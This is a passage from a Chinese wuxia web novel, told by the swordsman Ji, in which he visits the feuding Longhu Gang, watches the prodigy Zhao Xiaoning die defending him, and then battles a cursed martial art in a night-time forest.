我缓缓走出了青云派祠堂,在迈出祠堂的瞬间,我再次深深地吸了几口气,却再也没有闻到那股熟悉的栀子香味儿。 2. 我要继续寻找陈伯洋。 我将此事安排给了明少忠,同时我向明少忠说了另外一个名字“易小心”! 不错,就是易小心。我决定在我除掉陈伯洋的同时,连并着易小心一同杀死。很久以前,我便对易小心没有什么好感,觉得他不配做青云派的掌门。进来发生的许多事情,让我对易小心更加恨之入骨。 若没有他将陈伯洋打下藏龙涧,纾瑶便不会失踪,小月便不会死,这一切易小心是始作俑者! 在得到狼道会的消息前,我决定去另外一个地方。 或许,也是为了了却一桩心事。 我决定去龙虎山。周望安的死一直令我耿耿于怀,他死得突然,我能为他做的或许就是保住他一向引以为傲的龙虎帮。 在周望安死后不久,龙虎帮便陷入了一片混乱之中。周望安的两个师弟,一个徒弟带着龙虎帮的弟子一分成三派,为了争夺帮主之位,吵得不可开交。 万幸的是,他们之间依旧停留在口舌之争上,尚未有传言听说他们为了帮主之位大打出手甚至互相残杀。 这些年,我也经历了许多纷争,我感觉动嘴皮的事比起动武来更加麻烦,若是能以拳头决定胜负,应该是最为简单的方式。 我到达龙虎帮时,院子里正在吵架。 周望安两个师弟,李春雷和温道鹏,一个高个粗眉,一个长脸杏核眼儿,正龙虎帮的前院之中吵得不可开交。他们两人对垒,四周站满了手持刀剑的支持者,中间一道隐隐约约的缝隙,大抵可以看出他们各自的阵营。 李春雷手上端着剑,说:“龙虎帮的天下是两个师父一同打下的,你们刀宗把持帮主之位这么多年,轮也应当是轮到我们剑宗了。”他身后一群拿剑的弟子举剑齐呼,声震林悦。 温道鹏不以为然,说:“两位师父创立帮派之时,可从未说过帮中要分刀剑两宗,你竟敢公然拉帮结派,实在是大逆不道。”他身后一群拿刀的弟子分毫不让,呼声更是震天彻地。 而此时,一个长得白白胖胖,一脸坏相的男子带着百十名持刀的弟子大踏步地走来,与李春雷、温道鹏相持而立,成三足鼎立之势。这人便是周望安的大弟子白冰冰。 白冰冰先行行礼,随后说道:“两位师叔,正所谓长江后浪推前浪,前浪应当让后浪,你们年纪也都不小了,应当是时候找个清闲地方,过两天舒坦日子了。这操心劳力的帮主之位,还是交给侄儿来做吧。” 白冰冰这话一说完,却听见李春雷与温道鹏齐声骂道:“滚蛋!” 已近冬月的龙虎山上,气候寒凉 ,即便是在白日里,不裹着两间厚衣裳,也让人有些难以忍受。而这时,白冰冰的白脸涨得通红,两个鼻孔呼呼冒着白气儿,像极了一头要发疯的公牛,就差两腿向后一蹬,直接冲着李温二人的肚皮顶过去了。 李春雷与温道鹏的同仇敌忾也不过是在训斥白冰冰那一瞬间的事情,两人一回头,四目相对,随即又是一副仇深似海的模样。 温道鹏说:“师兄,这帮主之位我们在这里争执不算,关键还是看整个龙虎帮的人心向背。”他笑了笑,转身用手比划着身后的弟子,得意洋洋地说:“师兄你看,龙虎帮支持我做帮主的人,可比你要多了不少。” 这话一出,温道鹏身后的弟子积极响应,举起刀来大声齐呼“人......多......”。 李春雷面不改色,反而是微微一笑,仿佛是胸有成竹。他说:“师弟,你千算万算,却不懂得人心会变的道理。” “什么?”温道鹏一怔,似乎是觉察不妙,满脸都是紧张。 李春雷哈哈大笑,朗声喊道:“我执掌龙虎帮账房多年,深谙理财之道,谁若支持我做帮主,我承诺自我继任之日起,每人每月发纹银五两,决不食言。” 话音未落,人群中已是一片哗然。 温道鹏连叫“大事不好”,还未来得及阻拦,自己身后的人已经跑去了李春雷身后一大半,而且白冰冰身后的人也去了三四成。 两人气急败坏,相视一眼,彼此重重点头,显然已经觉得同盟抗击李春雷。 李春雷更加得意,说:“师弟,刚出可是你自己说了要以人心向背定输赢,既然人心如此,那......师兄便不再推辞了。”说罢,哈哈大笑起来。 温道鹏狠狠啐了一口,骂道:“无耻小人。” 白冰冰更加激进,“咣”的一声拔刀出来,叫道:“别说些没用的,既然是混江湖的,不比试武功高低,非要搞那些阴谋诡计,徒费口舌之争。干脆一不做二不休,想当帮主的来打一场,谁赢了,谁就是龙虎帮的帮主。” 温道鹏却犹豫起来,看起来有些底气不足,大概是功夫比不过他人,缺乏以武夺魁的自信。 然而李春雷却毫不怯懦,他抽出手中长剑,喊道:“如此也好,师父们没有分出高下,那就让我们这些后人比出个高低!”一看便知,此人对自己武功信心很足。 终于,长期坚持的口舌之争经过了漫长的发酵,在我踏入龙虎帮之后,终于酿成了一场刀剑相向的血肉之搏。 温道鹏虽说是满脸的不情愿,但也不愿就此认输,手持着一柄长刀,与另外两人对垒。 大战一触即发,所有人的人开始后退,让出一块足以容纳三人打斗的空间。他们不停地退着,一步一步,直到把藏匿在人群中的我彻底暴露出来。 “是你?!”温道鹏首先反应过来,他脸上莫名略过一丝兴奋,立时收起长刀,说道,“都停下,都停下,有贵客临门,不要让刀剑坏了礼仪。” 我这才发觉在众人后退的时候,我一动不动导致了暴露,因此便向后退了几步,跟上大家的节奏,然后对着场上的三人说:“不碍事,你们继续......” 第二百一十五章 小宁 ()1. 龙虎帮的气氛变得愈加紧张。 李春雷命人请来了龙虎帮的镇帮之宝,龙神刀和虎牙剑,摆在刀剑台上,摆开香案祭拜,口中念道:“两位师父,周师兄走得仓促,未传下帮主之位。我龙虎帮不能群龙无首,今日之战并非同室操戈,而是为了龙虎帮百年生计,还请两位师父莫要怪罪。” “如此不遗余力地拉拢人心,真是让人恼火。”温道鹏低声骂道,满脸是恨。 然而,李春雷祭出龙神刀、虎牙剑的举动,再加上口中说的话,的确让温、白二人无法挑剔。他们满脸不愿,却也只好随着李春雷并立两侧。 李春雷嘴角挂着笑意,更是志得意满,说道:“今日同门切磋,只可点到为止,不可伤及性命,无论是谁胜出都应竭尽所能将龙虎帮发扬光大,其他人应同心协力,听从新帮主号令,不可有二心。” 温、白二人心不甘情不愿地念道:“同心协力,绝无二心。” 话音一落,李春雷向后一跃,抽出宝剑,大喊一声:“来吧!”未等温、白二人反应,却是突然发难,一剑横扫过去。 温、白两人更向后退出一步,险险躲过剑锋。温道鹏骂道:“阴险小人!” 李春雷没有半分迟疑,既然已经决定以手代口,武力争夺,那便实在没有必要再做口舌之争。他回剑一刺,剑气如长虹贯日,已成不可阻挡之势。这分明就是要命的招式,与他方才所说的“点到为止,不伤及性命”的话完不符。 温道鹏似乎也是发现了这一点,他面色凝重,挥刀只守不攻,而且有意向白冰冰方向移位,企图将火势引向白冰冰。 白冰冰反应极快,连连闪躲,一看便知武功比温道鹏高出一大截。温道鹏越发吃力,豆大的汗珠不停地往下掉。 李春雷一招刺喉的招式,眼看着温道鹏就要当场丧命。说时迟,那时快,却听见人群之中一声厉喝:“住手!” 温道鹏应接不暇已是露出了破绽,李春雷哪里肯就此住手。他剑势更疾,离着温道鹏一步之遥向前猛刺。 “嗖!” 一道银光闪过,打在李春雷剑刃之上。那力道非同一般,竟将李春雷的剑当场打断。 李春雷踉跄着退了几步,满脸怒气,扭头吼道:“是谁?谁打断了我的剑?” “李师叔,你这招式分明就是想要温师叔的性命。” 人群中走出一个少年,十四五岁模样,身材精瘦,面色蜡黄,一副病恹恹的模样。李春雷不禁一怔,脸上怒气尤为消退,言语却客气了许多:“你不在穹庐养病,怎么到这里来了?” 少年毕恭毕敬地向李春雷行礼,道:“方才情况危急,迫不得已才打断了师叔的宝剑,小宁在此赔罪了。” 李春雷脸色骤然缓和,连忙说道:“不妨事,不妨事。是我方才打红了眼,没有掌控好出招的力度,险些酿成大错,还是多亏了宁师侄出手。”说罢,便是几声索然的干笑。 温道鹏冷哼一声,说:“说得好听,老子险些断送在你手上。” “嗯?”李春雷面色怫然,反问,“你跟谁称老子?” 温道鹏怒道:“跟你又如何?依你这样的品性,即便是武功再高也不配做龙虎帮的帮主。” 李春雷提起剑来,叫道:“莫非你是不服?那我们再接着比!” “咳咳......” 一阵剧烈地咳嗽,少年面如白纸,手捂着口上,一摊开却是一块鲜红的血痰。温、李二人同时色变,慌忙上前扶住那少年,关切地问:“你怎么样?没事吧?” 少年摇头,说:“不碍事。旧疾复发,已经习惯了。多谢两位师叔关怀。” 李春雷叹了一口气,说:“小宁啊,别怪师叔说你,你总是这般不知爱惜身体。若不是你重疾始终无法康复,这龙虎帮的掌门应是你当仁不让的,哪里还轮得到我们来争。” 温道鹏连连点头称是。 然而,白冰冰就一直在旁怔怔地看着,脸上满是不屑之色。 这少年究竟是什么人? 我不禁心生好奇。从他们的言谈之中可以听出,这少年应是周望安的弟子一辈,看年龄可以推测其入门时间应当晚于白冰冰,为何他所得到的尊重远远超过所有人? 再者就是方才那一道飞来的银光,打断李春雷的宝剑,落在地上时却见只是一颗普普通通的白铁块,并没有什么奇特之处。但它却能以极快地速度打断李春雷手上的剑,然后将他震退,可见将那白铁掷出去的人,武功非同小可。 龙虎帮的这场争斗越来越有意思了。 我走到场中。李春雷首先看到了我,他上前两步,抱拳说道:“姬大侠不知因何光顾我龙虎帮?” 我对这个人没有好感,所以没有理会他,而是直接走到了那病恹恹的少年面前,问:“你是谁?” 李春雷一脸尴尬,温道鹏看在眼中十分得意,似乎是他自己亲自羞辱了李春雷一般。 少年看着我,眼中血丝满布,看起来已是憔悴之极。他刚想开口,一吸气又是一阵剧烈地咳嗽。这一阵咳嗽了很长时间,似乎是要将五脏六腑部咳出来才肯罢休一般。 在李、温二人极力地平复下,少年终于停了下来。他冲我微微一笑,说:“在下失礼了。我叫赵小宁,敢问前辈如何称呼?” 前辈?! 我不喜欢这个说法。虽然,我与周望安兄弟相称,论辈分的确也是他的前辈。但我总觉得这样称呼,似乎显得自己老了许多。 “前辈?”赵小宁轻声试问。 我回过神来,说:“别这么叫我。我不喜欢。” 赵小宁难得脸颊露出一丝红晕,他说:“晚辈唐突了。” 这不是一个意思嘛! 我气得头疼,却又不能跟一个病秧子一般计较。我问:“你是周望安的弟子?” 赵小宁摇了摇头,说:“师尊姓房,名大,是周师伯的师弟。” 他竟然是房大的徒弟! 我心头一颤,当年与房大经历的许多画面交错浮现。 “原来是他......” 赵小宁一怔,问:“前辈......不,先生认得师尊?” “岂止认得。”我满腹怅然,说,“当年我们共同经历生死,他身负重伤却仍坚持着要将侮辱龙虎帮的人揪出来,最终血竭而亡,还是我亲手埋葬的他。” 赵小宁身子一颤,我以为他又要咳嗽,没想到他竟跪在我面前,叩首说道:“我听掌门师伯提起过此事,小宁身患重病,一直不能当面答谢,如今得见恩人,请受小宁一拜。” 这样的话却让我十分愧疚。毕竟当年我听了李小谦的话,有意利用了房大的执着。他的死,与我有着脱不开的干系。 我将赵小宁扶起,说:“我受不起。” 赵小宁说:“对小宁来说,你当日义举乃是大恩,当然受得起小宁一拜。”说完,他又要跪下。 我拉住他,说:“我真的受不起。” 赵小宁说:“受得起。” 就这样拉扯了几下,赵小宁忽然神情一滞,晕了过去。 2. 龙虎山上有一处风景绝美的处所。这个地方四季都有花开,树木常青,溪水长流,这个地方被夹在两座山峰之间,中间平坦,两侧山峦呈弧线合拢,就像是半个木桶躺在山峰之间,故而得名筒子坳。 筒子坳中有一个幽幽小院,名叫穹庐。据说这里曾经是当年龙虎帮创派祖师之一云从龙的住所。自从云从龙与风从虎出走龙虎帮之后,这间小院便空闲了下来。 后来,因为方大爱徒赵小宁身患重疾,需要静养。他便央求着当时的龙虎帮帮主刘易守将穹庐让给赵小宁居住。刘易守拗不过他,便默许赵小宁在穹庐养病。再后来,风云西湖之战爽约,刘易守匆忙让位周望安。周望安与房大感情深厚,接任龙虎帮帮主之后,便将这个穹庐彻底赐给了赵小宁。 穹庐之后,我怀抱血芒剑,望着景色秀丽的筒子坳,一阵久违的心旷神怡。 “姬大侠为何不到舍内等候,偏偏要站在外面?”温道鹏不知何事走来,一脸堆笑,原本是杏核小眼儿,被他一笑竟挤成了两个黑点。 我说:“看风景。” 温道鹏说:“这里风景的确很美,只可惜景还是那片景,人却早已不是当年的旧人了。” 我不解,问:“你这话是什么意思?” 温道鹏意味深长地说:“不知道新来的人,究竟能不能配得上龙虎山的风景。” 我说:“有什么话你就直说吧,不要绕来绕去。” 温道鹏呵呵一笑,说:“姬大侠果然是直爽之人。我素问你与我周师兄情同手足,感情是十分地深厚......” 我想了想,说:“倒也没有那么深厚。只是我敬重他的为人。” 温道鹏被我一句话给憋住了,他满脸尴尬只得强行化解,说道:“不管怎么说,我知道在我师兄心目中也是极看中你这个朋友的。” “是吗?”我心中一暖,想起周望安的脸,既觉得惋惜又感到愧疚。 温道鹏说:“那自然是。我师兄为人光明磊落,一生心系龙虎帮,殚精竭虑,从无二致,只可惜,天不假年,运道不济......” 我听得十分烦躁,打断了他,说:“你说重点。” 温道鹏已是尴尬到了极点,他支吾了几声,似乎是已被我堵得不知如何继续了。终于,温道鹏似乎是理顺了思路,一副柳暗花明的模样,说:“姬大侠,我是龙虎帮刀宗传人,周师兄的嫡亲师弟。” 我说:“那又如何?” 温道鹏小声说:“在我周师兄心目中,一定不想让剑宗的人夺了帮主之位,所以......” 我说:“与我何干?” 温道鹏说:“只要姬大侠肯出面帮我,凭你的武功,那群人肯定不是你的对手,到那时候,你帮我坐上帮主之位,我保证龙虎帮上下听你号令。” 我说:“不用了。龙虎帮离武林盟太远,我号令起来不太方便。”说罢,我转身走向穹庐,留下温道鹏眨着杏核小眼儿一阵发呆。 第二百一十六章 穹庐 穹庐内设十分简单。一桌一椅一床,仅此而已,再无他物。 即便是摆在屋子里几样简单的家具,也是十分陈旧,一眼便可以看到它们经年累月陪伴主人所留下的斑驳伤痕。 李春雷双手抵在赵小宁的背上,正为他输送真气。 赵小宁神色稍缓,虽然脸色还是有些苍白,但呼吸匀称,看起来是从鬼门关口又闯回来了。 李春雷缓缓收拾内力,长长舒了一口气。 赵小宁声音微弱,说道“多谢师叔搭救。” 李春雷说“何必言谢,本就是分所应当之事。” 赵小宁看向我,他嘴角勉强挤出一个笑容,说“让姬大侠见笑了。” 我说“你到底是得了什么病?怎么会如此厉害?” 赵小宁刚想回答,李春雷却摆手将他拦住,说“我来说吧,你身子刚刚恢复,不易多费力气,自己赶快调息一下。” 赵小宁颔首答应“有劳师叔了。”说完,双手卧于丹田,缓缓吐纳。 李春雷说“这也已经是许多年前的时候了,小宁六岁便拜入大全师兄门下,深受房师兄喜爱,一直当做亲生儿子一般对待。他天资聪颖,极具慧根,七岁习虎牙剑法,八岁便已经入龙虎帮一流高手行列。” 这么厉害! 我不禁震惊,一个八岁的孩子,竟然能跻身龙虎帮一流高手之列。莫说是在龙虎帮,即便是放眼江湖也是十分了得的成就。 “那他怎么会成了这个样子?”我问。 李春雷神色怅然,说“都是我们的错啊!” “师叔不要这么说,是小宁自己能力不足。”赵小宁忽然说道。 李春雷说“当年,两位师父突然出走,我们兄弟几人苦苦支撑偌大的龙虎帮,已是十分吃力。你的到来,给了我们极大的希望,我们兄弟几人见你天分极高,是百年难得一见的武学奇才,便以为你是上天赐予我龙虎帮的,将全部心血倾注在你的身上,龙神刀法,虎牙剑法,那些连我们都不能掌握的精深武学全部一股脑地传给了你……是我们的错,是我们害了你。”说话间,他神情愈发悲怆,懊悔万千。 而我,也大概听明白了其中的缘由。大抵就是周望安师兄弟几人,见赵小宁是练武的奇才,便将龙虎帮发扬光大的希望全部寄托在一个孩子身上。没想到,揠苗助长,适得其反,最终导致了赵小宁的悲惨结局。 这时候,赵小宁已经完成了一轮的调息。他站起身来,十分客气地说“让诸位挂心了,小宁感激不尽。” 青云派洛青海,龙虎帮赵小宁,那一瞬间,我仿佛看到这个江湖的希望。 无论曾经的那些人做过什么,是如何不堪。但江湖的希望并不在过往,而且那些既往迎新的人,他们才是江湖的希望。 我对赵小宁说“你做龙虎帮的帮主如何?” 赵小宁脸色骤变,慌忙摆手说“使不得。” 我问“为什么?” 赵小宁说“且不说我已经是一个将死的人,就说龙虎帮还有两位师叔,众多师兄弟,他们人品资历,还有江湖阅历均在我之上,如何也轮不到我做龙虎帮的帮主。” 我说“我觉得只有你可以,他们都不配!” “你这话说得也忒狂妄了!”门外一声如雷般的厉吼,我险些以为是周望安回来了。 “踏踏”两声。只见温道鹏大踏步地迈进穹庐,他身后还跟着几个人,其中一人便是周望安的徒弟白冰冰。 温道鹏说“我龙虎帮内部的事,自有我帮内部解决,还轮不到你一个外人插手。” 我说“刚才在穹庐之外,你可是不是这样跟我说的。” 温道鹏脸上略过一起慌张,很快便被他掩饰下去。他说“姬大侠说话真是奇怪,我刚到穹庐,何时在外面与你说过什么?” 不认账? 我也懒得和他理论。我对赵小宁说“龙虎帮的帮主之位倘若落去这几个人手中,那边毁了。” 赵小宁低头不语。 “姓姬的!”温道鹏吼道,“我念你远来是客,对你十分客气。若你再敢插手龙虎帮内部的事,休怪我对你不客气!” 真是好笑的很。 我问“不客气?你能拿我怎么样?” 温道鹏重重一哼气,手一挥,几个拿刀的龙虎帮弟子便将我团团围了起来。 刀光雪亮。显然又是一场大战。但这是龙虎帮,眼前的人也大都是周望安的弟子。念及旧情,我不愿与他们动手。 我说“你们最好走开。” 但这些人,却没有一个肯听我的劝告。他们自以为人多势众,挥着刀对我一起攻来。 我拔出血芒剑,轻轻一挥,他们的刀随即变成了两段。 如果他们就此作罢,我本也无意与他们大动干戈,但偏偏这时候有一个人不知死活,挥舞着手上的断刀向我砍来。 我顺势推出一掌。一股极其阴冷的寒气从我手掌之间发出,正中那人胸口。那人便如枯朽的枝叶被风刮断了一般,倒飞出去,摔在地上已成了一具冰尸。 “他,他练了陈伯洋的武功!” 不知是谁喊了一句,围着我的一群人一溜烟窜出了穹庐。 我紧跟出去,却发现门外是一个早已经布好的陷阱。 一 副大网从天而降,六个人拉着网角儿将我罩在其中。 我挣扎了一番,发现这网坚韧无比,非人力所能打破。 温道鹏笑着说“不要挣扎了!这网是钢丝织成的,即便是你武功再高,也休想逃脱!” “师弟!你这是做什么?”李春雷跃出穹庐,对温道鹏吼着。 温道鹏说“众人听令,此人杀我龙虎帮弟子,与我龙虎帮仇深似海,大家一起将他擒住,为我龙虎帮弟子报仇。” 众人齐声回应“得令!”随机拉紧钢丝网,把我紧紧裹在其中,动弹不得。 又有几柄长刀向我砍来。我正准备祭起血芒剑,这时听到身后有人喊“师叔,住手!” 刀未停下,眼看就要砍在我的头上。赵小宁随手抓起一把长凳向门外一扔,将离我最近的几柄刀打落在地上。 紧接着,只听到“嗖”的一声,赵小宁从床板之下拉出一把通体黝黑,没有剑锋的铁剑。 赵小宁身影一动,冲出穹庐,“嗖嗖”两声将罩在我身上的钢丝网砍得粉碎。 一把没有剑锋的剑,竟被他使得如此厉害。我不禁哑然,这样的功力绝不是他这样小的年纪可以拥有的。 他的确是一个难得一见的练武奇才。 “小宁!”温道鹏怒道,“这人刚才杀了我龙虎帮一名弟子,难道你看不见吗?” 赵小宁说“师叔,虽然是他出手杀了我们龙虎帮的人,但却是我龙虎帮出手在先。若论是非对错,应当是我龙虎帮理亏。” “好你个赵小宁,你竟然胳膊肘向外拐!”却是白冰冰说,“今天我偏要杀了这个人,我倒要看看你有什么样的本事能救得下他!” 虽然他说了这样的狠话,但他却并没有出手,而且怂恿着身边的人对我进行围攻。 赵小宁提起手中的无锋黑剑,如鬼影一样略过,一群人被他震飞,倒退回去,却毫发无损。 回到我身边的赵小宁,面色惨白如纸,他轻轻对我说“快走,我撑不住了。” “什么?”我一阵诧异。接着便看到赵小宁身子一沉,倒了下去。 我一把将他扶住,问“你怎么了?” 赵小宁气若游丝,说“我,我恐怕不行了。” 我未等他说完,急忙为他输送真气,片刻以后,却发现赵小宁表情更加痛苦,嘴唇发紫,眉毛上满是白霜。 我这才意识到,摩珂钵特摩咒只能用来杀人,却并不能用它来救人。 我对赵小宁说“你撑住,我一定会想办法救你。” 赵小宁按住我的手,说“不用了。我早就已经是一个要死的人,能活到今 日,我已经很知足了。” 李春雷蹲在赵小宁身边为他把脉,终究是叹息着摇了摇头,说“七脉尽损,神仙难救了,小宁,你这是何苦呢?” 赵小宁淡淡一笑,说“师叔不要伤心。我知道,以姬大侠的武功,没有人是他的对手,所以我才要出手将大家拦下来,这样便可以免去许多不必要的伤亡。” 我心中一阵愧疚,说“是我害了你。” 赵小宁摇头,说“不是。现在对我说来说,才是真正的解脱了。” 他回头望着温道鹏、白冰冰以及周围怔怔发呆的所有人,说“希望龙虎帮的将来会很好,只可惜我看不到了。”说完这句话,他的手从我的手臂上慢慢滑了下去,缓缓闭上了眼睛。 我伸手摸了摸他的鼻息,没有丝毫感觉。 他死了。 我感觉像是龙虎帮唯一的希望破灭了。 我开始有些后悔,这一次,我不知道自己应不应该来,到龙虎帮又是对是错。 如果我不来龙虎帮,那赵小宁会不会死? 一切都已经无从猜测了。 只是,龙虎帮接下来将会面临一场更大的纷争。但我已经没有兴致了,无论他们之中谁做了帮主,都不会给龙虎帮一个很好的结局。 (本章完) (教育123文学网) 第二百一十七章 挣扎 ()1. 龙虎山一片混乱的时候,我决定离开。 在临走之前,我去看望了一眼周望安。他的灵厝位于龙虎帮千秋堂中。李春雷带着我赶往千秋堂的时候,遇到了白冰冰等人的阻拦。 白冰冰持刀将我拦住。他对李春雷说:“此人刚杀了我龙虎帮一名弟子,而且还害死了小宁师弟,师叔竟然要带着这人到龙虎帮重地,恐怕不妥。” 我说:“我不杀你,已经是看着你师父的面子上,不要逼我动手。” 白冰冰闪过一丝惶恐,他看来一眼身后的人,强装镇定,说:“我不找你报仇,也是看着我师父的面子上。” 我冷笑一声,向他逼近。白冰冰步步后退,直到靠近身后的弟子,退无可退,才说:“你不要逼我。” 我说:“逼你又如何?”然后,继续向前走。 就这样走了过去,白冰冰也没有敢动手。 李春雷跟在我身边,对我说:“你不要理会他们,跟我走便是了。” 我说了一声:“多谢。” 李春雷笑了笑,说:“何必言谢。”他一面为我引路,一面对我说:“这千秋堂虽然是龙虎帮的厝灵之所,却只供着周师兄一人,你与周师兄交情匪浅,带你去祭拜,倒也不会打扰到其他人。” 我不禁诧异,问:“为什么千秋堂只有周望安一人的灵位?” 李春雷说:“我龙虎帮建帮也不过是三十几年的事情。虽然历经三位帮主,而前两位都是下落不明,只有周师兄一人......”说到这里,他长叹了一声,没有再说下去。 如果不是我入龙虎帮之时曾亲眼见到李春雷对温、白两人痛下杀手,我几乎就要觉得他是一名难得的谦谦君子。 但是,这世间有很多君子都带有假面具。掀开这张面具,下面则是很多不堪入目的面孔。 站在千秋堂前,我忽然感到无限的凄凉。 周望安的灵位就在堂中。我却犹豫了,不知道自己到底应不应该进去。 因为,我不确定,在周望安的心里到底还愿不愿意见我。 当年房大之死,的确是我有意骗他。我仍然记得他知道真相时那种怨怼和愤怒的眼神,那种想要杀了我却又踌躇着不忍心动手的为难模样。 这世间的人都有假面。 那年的福州城中,我就在周望安的面前,被管天下彻底撕掉了假面。他恨我是应当的。我本不奢望他原谅我,那时我觉得这个江湖很大,离开了便会死生不复相见。 不见面,愧疚便会小很多。小的都不会被我想起来。 可偏偏事与愿违,老天爷给我们安排了再次相见的机会。再相见,他却为了帮我,死在了陈伯洋的手中。 我最终都没有鼓起勇气走进千秋堂。 在千秋堂门口站了很久,我转身离开。李春雷喊着我,问:“不进去吗?” 我说:“不了,看一眼就好。我也该走了。” 李春雷快步赶上,说:“姬大侠请留步。” 我问:“你还有什么事?” 李春雷问:“请恕在下冒昧一问。姬大侠此次突然到龙虎山到底所为何事?” 我说:“我听说你们之间斗得厉害,本想替周望安选个帮主,就当是还他一个人情吧。” 李春雷忽然表现得很激动,他说:“那姬大侠现在为何又要走?” 我说:“因为我觉 得没有必要了。这是你们自己的事,我不愿再插手了。” “且慢!”李春雷拦住我的去路,说,“姬大侠既然有心替我们龙虎帮主持公道,我自当力支持,可你为何又要半途而废?” 我说:“我说过了,这是你们自己的事。” 李春雷仍旧不肯让开,他说:“你也看到了,我龙虎帮如今已斗得越发厉害了。我们三人互不相让,水火不容,再演变下去恐怕会引发更加严重的后果,你此时离去,怎么对得起因你而死去的周师兄!” 我愣住了。李春雷满脸严肃,说得义正辞严,虽然让我觉得他有所图谋,却又想不出什么话来与他辩驳。 李春雷说:“在下替龙虎帮恳求姬大侠仗义出手,帮我们度过这场浩劫。” 他用词越发严重了,竟然用“浩劫”来形容他们之间的内斗。 我说:“我怎么帮你们?” 李春雷沉吟了片刻,说:“并非在下自吹自擂,目前龙虎帮上下,轮武功轮才干,绝没有一人比得上我。也只有我能继承周师兄的遗志,将龙虎帮发扬光大。” 我说:“你让我帮你当上龙虎帮的帮主?” 李春雷郑重抱拳,说:“若姬大侠能帮在下达成心愿,我自今日之后,必然以姬大侠马首是瞻,听你号令,永不背弃。” 我转身看着身后的千秋堂。 一扇木门,两扇窗各自一边。门窗半掩着,其中有青烟徐徐飘出,就好像是周望安听到了我们的对话,气得七窍生烟了一般。 想到周望安瞪着眼睛大吼的憨厚模样,我禁不住笑了出来。 “姬大侠笑什么?”李春雷小声地问。 我说:“温道鹏也曾对我说过这样的话。” 李春雷一怔,变得十分紧张,问:“何,何时说的?” 我说:“就在穹庐,你为赵小宁疗伤的时候。” 李春雷又放松了下去,他说:“姬大侠定然是没有答应了他吧。” 我说:“你怎么知道的?” 李春雷笑道:“若是答应了他,他又怎么会对你痛下杀手呢?” 我说:“不错。我没有答应他。但我也同样不会答应你。” 李春雷问:“为什么?难道姬大侠认为在下能力不足,不配做龙虎帮帮主?还是信不过在下,觉得我以后会违背今日的承诺?” 我说:“都不是。” 李春雷问:“那是为何?” 我说:“因为,你离我太远,号令起来太麻烦了。”说完,我大步离开了,留下了一头雾水的李春雷在千秋堂前怔怔发呆。 2. 不管今后龙虎帮谁会做帮主,又会走上怎么样的命途,那都是龙虎帮自己应该走的路。 不再插手龙虎帮的事,或许,这就是我能为周望安做的最后一件事了。这样做也不算违背赵构的旨意,因为龙虎帮本来就没有依附朝廷势力的迹象。 离开龙虎山,我依旧没有得到狼道会传递的消息。 无论是易小心,还是陈伯洋,都仿佛是从人间蒸发了一样。 那一天,我在龙虎山外七十里的避风林中小憩。 已是冬月,夜晚的密林之中,阴寒至极。我忽然觉得身体里有一股力量觉醒了一般,它化作是一股温热的气流,在我筋脉中狂躁不安游窜。 我想要压制。但越是压制,这股力量反而越强大。 很快,我便觉得身上又痛又痒,犹如千万只小虫子在身体上爬咬。那种感觉,让人抓狂。 那夜,本就不太晴朗。月亮高挂在空中,却被一层淡淡的云翳包裹着,变得朦朦胧胧。 我再也不能忍受,拔出血芒剑,在避风林中乱砍乱挥。 剑影如血影,剑气疯狂地砍杀着周围的树木。 很多枝叶被砍得七零八落,掉在地上,结上了一层冰晶。 我真的变得和陈伯洋一样了吗? 我忽然觉得很害怕,很绝望。我练摩诃钵特摩咒不就是为了打败陈伯洋吗?如果我真的变成了第二个陈伯洋,那该如何是好? 余十三已经不在我身边了。 我曾经嘱咐他,如果我真的疯了,他就一剑杀了我。 但现在想来,当时对余十三的嘱咐是多么可笑。 余十三凭什么杀了我?如果我不想死,这个江湖上又有谁能奈我何? 这样的想法突然冒了出来,它不仅让我恐惧,竟还让我兴奋。我再度挥动手中的血芒剑。 真气注入剑中。血芒剑发出疯狂的色彩,就像是饮了血一样的疯狂。什么江湖武林,什么万物生灵,都不过在我剑下,由我取舍! 不! 不应该是这样的。我又开始害怕。我努力地控制着自己,这个世上还有很多让我关心的人,娄琴、余十三、陆游、余青儿......还有纾瑶! 对!还有纾瑶。 她一直都在等着我。我不可以疯掉! 血芒剑刃的红色更加鲜艳,似乎是毒蛇的信子一般地红艳,它很饥渴,它似乎在央求我,告诉我它饿了,它要饮血。 我将血芒剑举过头顶,拼尽身的力气,将它狠狠地插进了脚下的泥土中。整个剑刃都埋在了黑褐色的泥土里,红光不见,那种疯狂瞬间褪去了。 我松开剑柄,盘膝坐在地上。身体里那股躁动不安的力量依旧没有得到控制,无论我怎么样压制,那力量却越压越猛,让我痛苦不堪。 怎么办? 万急之下,我忽然想到,摩珂钵特摩咒既然叫人筋脉逆行,那我便反其道而行之,偏偏正行真气与之抗衡。 正反两股真气在胸口处猛然相撞,致使血气翻涌如惊涛骇浪,胸腔剧痛如同是肋骨一起粉碎了一样。 我强忍着,以正行真气与逆行的摩珂钵特摩咒抗衡。忽然间,我仿佛看见眼前盛开了一朵巨大的红色莲花。 红莲鲜艳,笼罩了眼前的一切,感觉自己也好像是被笼罩在其中。 红莲之中,有一道白色的影子徐徐飘落。那白色影子一晃,绕到我身后,在我背上一连点了几处穴道。 红莲逐渐消失了。我仿佛是经历一场极重的风寒,刚刚从鬼门关走回来一般,身上下没有一丝力气。 忽然,我闻到一股熟悉的香气,它就从我身后随着穿林而过的晚风吹来。 小月! 是小月的味道! 我拼劲力想要回头,但身上却没有一处关节听我使唤。就连嘴巴、舌头也是又僵又麻,根本发不出声音。 那股香味儿就在我身后,一只柔软的手拂过我的脖子,一个沙哑低沉的声音传来,对我说:“纾瑶还活着,你要挺住!” 我用尽了所有的努力,终究还是没能看到身后的人。 直到我再也支撑不住沉重的身体,彻底晕了过去…… 第二百一十八章 铁匠 ()1. 我在次睁开眼睛的时候,仍旧是在那片密密麻麻的避风林。 天已经亮了。阳光透过茂密的树冠,在地上留下斑斑驳驳的亮影。 身体里那股难以控制的力量已经退了下去,胸口不再疼痛,只是那种经久不衰的疲惫感依旧十分强烈。 血芒剑插在泥土之中,似乎是在沉睡,十分安静。 眼前的一切平常得好像什么都没有发生过,只有那些落在地上的枯枝碎叶告诉我,昨晚那股梦魇一般的疯狂,真真切切地发生过。 那……小月呢?! 她是不是也曾经真的来过? 我奔跑在避风林中,漫无目的的寻找着。 可是这片密林太大了。我穿梭在其中,只感觉像是置身于一片迷雾里。于是,我跳上了最高的一棵树,站在高耸的枝头上极目远眺,却只看见一片墨绿色的松柏里夹着几颗枯黄的楸树。 可是,昨夜间的那模模糊糊的白影,带着小月独有的香气,是那么真切地在我记忆里。 